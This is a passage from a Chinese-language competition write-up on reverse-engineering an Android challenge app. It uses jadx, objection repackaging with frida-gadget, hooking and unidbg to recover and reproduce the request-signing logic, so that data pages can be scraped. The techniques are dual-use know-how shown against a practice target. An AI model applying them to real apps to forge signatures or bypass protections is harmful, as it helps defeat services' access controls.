0px;">但是又出现了另外的问题，由于手机是安卓版本8.0，也没有root，配置完代理无法抓到该程序的包。对于未root抓包的话，也有很多其他的解决方法，例如可以使用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">VMOS Pro</code>，也可以使用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">VirtualXposed</code>结合xposed插件来抓包，或者利用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">objection</code>重新打包，之后就可以使用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">objection</code>来进行测试。   <br/>实际上不用抓包也是可以做出几道题的，需要搞清楚请求的参数即可，首先来看第一题。</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">第一题</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">虽说第一题不涉及so，仅包含java层的加密，但这道题做起来也有一点麻烦，需要抠代码和修改。首先来看一下题目：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="1.5796019900497513" title="图3" data-w="804" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=2aa7d939&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdOeuSe4TwTFCputKlZ4ArZ9ZaaaDIdQ9BhtzexorOsPEGpK1OeSsAxA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图3</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">10道题都是要爬取1-100页之间的数据，然后求和。   <br/>由于APP没有加壳，所以可以直接使用jadx来打开，可以看到代码进行了混淆。</p><blockquote style="line-height: inherit;display: block;padding: 15px 15px 15px 1rem;font-size: 0.9em;margin: 1em 0px;color: rgb(129, 145, 152);border-left: 6px solid rgb(220, 230, 240);background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 0px;">使用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">adb shell dumpsys activity top</code>来找到当前打开的界面，从而定位到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">com.yuanrenxue.match2022.fragment.challenge.ChallengeOneFragment</code></p></blockquote><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">进入到</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">com.yuanrenxue.match2022.fragment.challenge.ChallengeOneFragment</code>中。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.5103668261562998" title="图4" data-w="2508" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9c063a8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZd0SiccKeXWbic5KxcribYGWXss3EwHHzk6FJfleA3Mj8STwayhYTvXWXzg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图4</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">可以很容易就发现加密的关键点，调用了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">com.yuanrenxue.match2022.security.Sign</code>的sign方法对一些参数进行了加密。这里sign方法传入的参数是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sb.toString().getBytes(StandardCharsets.UTF_8)</code>，而<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sb</code>可以从上面获取。主要代码：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span> StringBuilder sb = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> StringBuilder();  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span> sb.append(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;page=&#34;</span>);  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span> sb.append(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.page);  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">long</span> longValue = c3756OooOO0O.OooO00o().longValue();  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span> sb.append(longValue);<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">由代码可以看出，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sb.toString()</code>的内容就是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">page=</code>拼接当前页码，和当前时间戳组成的。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.12003179650238474" title="图5" data-w="2516" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=72eaf985&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdWhSGDhPdLicKMwOiaHAoMWDmbEPbwQ1c7td5kqqMJKM38Oo1Kdm7fsew%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图5</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">进入到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">o0O0ooO.AbstractC4864OooO0O0</code>的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">OooO00o</code>方法。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.44843897824030277" title="图6" data-w="2114" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=79900dd4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdiaXEmzZDLBUUj8hcXefI0zTsPFibmFLibazQTibCuibYczLWq8a1Ugib7zrA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图6</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">可以发现http请求的接口和参数，经过拼接后请求的url是：</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);"><a href="https://appmatch.yuanrenxue.com/app1" target="_blank">https://appmatch.yuanrenxue.com/app1</a></code>，参数一共有3个。分别为当前页码<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">page</code>、加密结果<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sign</code>以及时间戳<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">t</code>，重点看一下如何加密获取sign值的。</p><blockquote style="line-height: inherit;display: block;padding: 15px 15px 15px 1rem;font-size: 0.9em;margin: 1em 0px;color: rgb(129, 145, 152);border-left: 6px solid rgb(220, 230, 240);background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 0px;">使用抓包的话很容易就定位到这里，当时没有抓包，经过尝试也是可以获取到请求的URL。</p></blockquote><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">进入<br/><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">com.yuanrenxue.match2022.security.Sign.sign</code>方法，这里推荐用idea打开，可以少走一些弯路。可以对比看一下jadx和idea打开的效果，这里就不放图了。下面是使用idea打开的效果：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.7022016222479722" title="图7" data-w="1726" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=45b2189d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdphRP9rOJY8aUHryCkYHAcmwyicwwiahdHZxowIpF7ibHR5qT9m0vPj8OA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图7</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">从群里发现有老师傅发出抓包请求的内容，刚好可以供我们进行测试。请求的内容:<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">page=1&amp;sign=837056ab8650736b103f193d95ebbc3c&amp;t=1652444336</code>，看起来sign像是md5，经验证发现并不是。如果直接调用反编译后的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">new com.yuanrenxue.match2022.security.Sign().sign()</code>方法，结果也是不正确的。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.25703200775945684" title="图8" data-w="2062" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=1dd57f9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdWK3NqhyU59jrhPib9ic4EanxqUNmCSfibRr5k4G6iaS8cicTGURH4pPictoQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图8</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">主要原因可能是因为这些内容是反编译过来的，有些内容可能有所变动。这里的思路是把用到的方法拎出来，然后进行修改。扒完之后一共有这几个文件：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.2878787878787879" title="图9" data-w="2376" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=5143bce8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZd789v8Rs3NXficnicUdCgaybKyeecGP0GEmYfibqeTU0WDcpJ0qC1Vgn9Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图9</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">当然运行结果也不是正确的。经过对比，用idea和jadx打开的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">f</code>方法内容是不一样的：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="1.1240875912408759" title="图10" data-w="1096" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=0f92a4c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZddk3IHS07ycVSiaIKpE2ticPccCb8qFzFnTrjy7MyCKJsNV5PEc8xwf6Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图10</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">将内容修改后，可以成功获取到正确的sign值。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.27121951219512197" title="图11" data-w="2050" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a448f45a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdURTlmRCF1fXu6NCGCRn666xoPOITaPWVnVEZGeThRiaGs5shekbUWsw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图11</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">剩下的就简单了，请求1-100页，获取到每页的数据然后求和。这里仅演示获取第一页的数值。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.1003921568627451" title="图12" data-w="2550" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=dbd36e46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZd3evARpCbHCcibggLgzib0Bf7pn2hvEXIroSzvTeIM3llcsqbgOnbiaLCQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图12</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">做完了第一题后又看了一下其他的题，发现第二题、第三题、第八题通过使用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">unidbg</code>可以很直接的得出结果，第五题采用了双向证书，直接抠代码也是可以做出来。第二题、第三题、第八题做题思路一样，所以放一起来说，最后再说第五题。</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">第二题</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">第二题就涉及到了so，这不禁令人头大。搞了好久so文件才发现规则中允许使用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">unidbg</code>，用其调用so的话简单快捷。这里没有好兄弟发请求的数据了，只能自己动手抓包了。   <br/>由于要对app进行抓包和hook查看参数，因此<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">objection</code>将<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">frida-gadget.so</code>打包进apk中，使用命令为：<br/><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">objection patchapk --source yuanrenxuem106.apk</code>。   <br/>然后就可以利用    <code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">objection</code>对app进行分析了。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.08523409363745499" title="图13" data-w="1666" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=42471765&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdJrp4VFtyaUNARRqqHv6wM2p8IwQ0tRPPPQ1JZJaroicXg7OwiaLwXNjg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图13</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">通过查看反编译后的代码，第二题的话请求一共有3个参数:<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">page</code>、<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ts</code>、<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sign</code>，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">page</code>是页码，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ts</code>是时间戳，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sign</code>是加密的内容。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.09701492537313433" title="图14" data-w="2144" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=d319402b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdibjnT6m6d68bu62uNl8DM4JJgyiaLlHicIHtXGBx6eJBgSz8pNwTQf07Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图14</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">可以看到sign是经过了调用so的加密结果，使用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">objection</code>查看加密传入的参数。   <br/><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">android hooking watch class_method com.yuanrenxue.match2022.fragment.challenge.ChallengeTwoFragment.sign --dump-args</code>    </p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.18547140649149924" title="图15" data-w="1294" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=ab6c94d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdrn9smicqQ6aFs1mSxpjiaicVh0k4XYXCpR7yRD8ntS0mRGMt3yVXEgLpQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图15</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">传入的参数是由<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">page</code>和<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ts</code>进行了拼接，中间由<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">:</code>连接。知道了调用so的传入的参数，下面就开始用unidbg进行调用。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">ChallengeTwoFragment</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">extends</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">AbstractJni</span> </span>{  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">private</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">final</span> AndroidEmulator emulator;  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">private</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">final</span> VM vm;  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">private</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">final</span> Memory memory;  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">private</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">final</span> Module <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">module</span>;  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 